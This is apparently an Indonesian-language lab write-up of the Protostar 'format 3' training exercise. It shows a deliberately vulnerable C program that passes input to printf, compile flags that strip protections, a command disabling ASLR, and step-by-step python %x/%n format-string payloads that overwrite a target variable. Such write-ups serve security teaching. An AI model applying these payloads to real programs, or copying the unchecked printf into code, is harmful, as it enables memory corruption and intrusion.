Protostar Format 3

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void printbuffer(char *string)
{
  printf(string);
}

void vuln()
{
  char buffer[512];

  fgets(buffer, sizeof(buffer), stdin);

  printbuffer(buffer);

  if(target == 0x01025544) {
      printf("you have modified the target :)\n");
  } else {
      printf("target is %08x :(\n", target);
  }
}

int main(int argc, char **argv)
{
  vuln();
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

Berdasarkan source code diatas terdapat kelemahan format string pada fungsi printf. Tujuan akhirnya adalah menimpa variabel target dengan nilai 0x01025544. Informasi yang diperlukan adalah mengatur isi arbitrary memory pada lokasi yang dinginkan dengan dengan buffer satu per satu. Lokasi yang diinginkan adalah alamat variabel target.

objdump -t vuln | grep target
0804a048 g O .bss 00000004 target

Mencari jumlah lokasi yang tepat untuk menampilkan posisi variabel target.

$ python -c "print '\x48\xa0\x04\x08'+'%x.'*11 + '%x'" | ./vuln

...804a048
target is 00000000 :(

Mencari jumlah bytes yang tepat untuk menimpa variabel target pada byte terakhir.

$ python -c "print '\x48\xa0\x04\x08'+'%x.'*10+'%x'+'%n'" | ./vuln

...
target is 00000059 :(

Nilai pada byte terakhir lebih dari 0x44 sehingga tambahkan saja offset agar hasilnya menimpa byte selanjutnya juga 0x5544.

$ python -c "print '\x48\xa0\x04\x08'+'%x.'*10+'%21747x'+'%n'" | ./vuln

...

target is 00005544 :(

Selain cara diatas, bisa juga dengan menggeser byte target dari 0x48 menjadi 0x49.

$ python -c "print '\x48\xa0\x04\x08'+'%x.'*10+'%21747x'+'%n' + 'BBBBB' + '\x49\xa0\x04\x08'+'%x.'*10 + '%174x' + '%n'" | ./vuln

...

target is 00565544 :(

Eksploitasi

Tinggal 2 byte terakhir, lanjutkan.

$ python -c "print '\x48\xa0\x04\x08'+'%x.'*10+'%21747x'+'%n' + 'BBBBB' + '\x49\xa0\x04\x08'+'%x.'*10 + '%174x' + '%n' + 'BBB' + '\x49\xa0\x04\x08'+'%x.'*9 + '%43944x' + '%n'" | ./vuln

you have modified the target :)

Referensi

results matching ""

    No results matching ""